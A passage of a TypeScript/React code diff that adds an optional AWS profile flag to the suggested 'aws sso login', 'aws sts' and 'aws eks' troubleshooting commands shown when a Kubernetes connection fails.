- fallbackCommand: { label: 'If this context uses the current AWS SSO profile, re-login and retry:', command: 'aws sso login' },
109
+ fallbackCommand: {
110
+ label: profileFlag ? 'If this profile uses AWS SSO, re-login and retry:' : 'If this context uses the current AWS SSO profile, re-login and retry:',
111
+ command: `aws sso login${profileFlag}`,
112
+ },
106
113
  }
107
114
  if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
108
115
  result.authCommand = {
109
- label: 'Inspect the caller and authentication mode for the current terminal AWS profile:',
110
- command: `aws sts get-caller-identity && aws eks describe-cluster --name ${parsed.clusterName} --region ${parsed.region} --query cluster.accessConfig.authenticationMode --output text`,
116
+ label: profileFlag
117
+ ? 'Inspect the caller and authentication mode for the pinned AWS profile:'
118
+ : 'Inspect the caller and authentication mode for the current terminal AWS profile:',
119
+ command: `aws sts get-caller-identity${profileFlag} && aws eks describe-cluster --name ${parsed.clusterName} --region ${parsed.region}${profileFlag} --query cluster.accessConfig.authenticationMode --output text`,
111
120
  }
112
121
  // A diagnostic, not a re-auth — the "Authenticate in terminal" button
113
122
  // would misrepresent what running it does.
@@ -167,7 +176,7 @@ function getAuthPluginStuckHints(): AuthHints {
167
176
  }
168
177
  }
169
178
 
170
- function getTimeoutHints(context: string): AuthHints | null {
179
+ function getTimeoutHints(context: string, awsProfile?: string): AuthHints | null {
171
180
  const parsed = parseContextName(context)
172
181
  const baseHints = [
173
182
  'The Kubernetes API did not respond before the deadline.',
@@ -192,15 +201,16 @@ function getTimeoutHints(context: string): AuthHints | null {
192
201
  return result
193
202
  }
194
203
  case 'EKS': {
204
+ const profileFlag = awsProfileFlag(awsProfile)
195
205
  const result: AuthHints = {
196
206
  title: 'Connection Timed Out',
197
207
  hints: [...baseHints, 'If the endpoint is reachable, AWS credentials or SSO may need refresh.'],
198
- authCommand: { label: 'If this context uses AWS SSO and network access looks healthy, refresh credentials:', command: 'aws sso login' },
208
+ authCommand: { label: 'If this context uses AWS SSO and network access looks healthy, refresh credentials:', command: `aws sso login${profileFlag}` },
199
209
  }
200
210
  if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
201
211
  result.fallbackCommand = {
202
212
  label: 'If that does not work, refresh cluster credentials:',
203
- command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}`,
213
+ command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}${profileFlag}`,
204
214
  }
205
215
  }
206
216
  return result
@@ -322,17 +332,17 @@ export function CopyableCommand({ command, onRunInTerminal }: { command: string;
322
332
  )
323
333
  }
324
334
 
325
- export function selectConnectionHints(errorType: string | undefined, context: string, originalContext?: string): AuthHints | null {
335
+ export function selectConnectionHints(errorType: string | undefined, context: string, originalContext?: string, awsProfile?: string): AuthHints | null {
326
336
  const parsedContext = originalContext || context
327
337
  switch (errorType) {
328
338
  case 'auth':
329
- return getAuthHints(parsedContext)
339
+ return getAuthHints(parsedContext, awsProfile)
330
340
  case 'auth-rejected':
331
- return getAuthRejectedHints(parsedContext)
341
+ return getAuthRejectedHints(parsedContext, awsProfile)
332
342
  case 'auth-plugin-stuck':
333
343
  return getAuthPluginStuckHints()
334
344
  case 'timeout':
335
- return getTimeoutHints(parsedContext)
345
+ return getTimeoutHints(parsedContext, awsProfile)
336
346
  default:
337
347
  return null
338
348
  }
@@ -344,9 +354,11 @@ export function ConnectionErrorView({ connection, onRetry, isRetrying }: Connect
344
354
  const isAuthRejected = connection.errorType === 'auth-rejected'
345
355
  const isAuthPluginStuck = connection.errorType === 'auth-plugin-stuck'
346
356
  const isAuthError = isAuth || isAuthRejected || isAuthPluginStuck
347
- const { data: contexts } = useContexts()
348
- const originalContext = contexts?.find((context) => context.name === connection.context)?.originalName
349
- const commandInfo = selectConnectionHints(connection.errorType, connection.context || '', originalContext)
357
+ const { data: contexts, isLoading: contextsLoading } = useContexts()
358
+ const matchedContext = contexts?.find((context) => context.name === connection.context)
359
+ const originalContext = matchedContext?.originalName
360
+ const awsProfile = contextsLoading ? undefined : matchedContext?.awsProfile
361
+ const commandInfo = selectConnectionHints(connection.errorType, connection.context || '', originalContext, awsProfile)
350
362
  const errorInfo = commandInfo || errorHints[connection.errorType || 'unknown'] || errorHints.unknown
351
363
  const openLocalTerminal = useOpenLocalTerminal()
352
364
  const { data: authMe } = useAuthMe()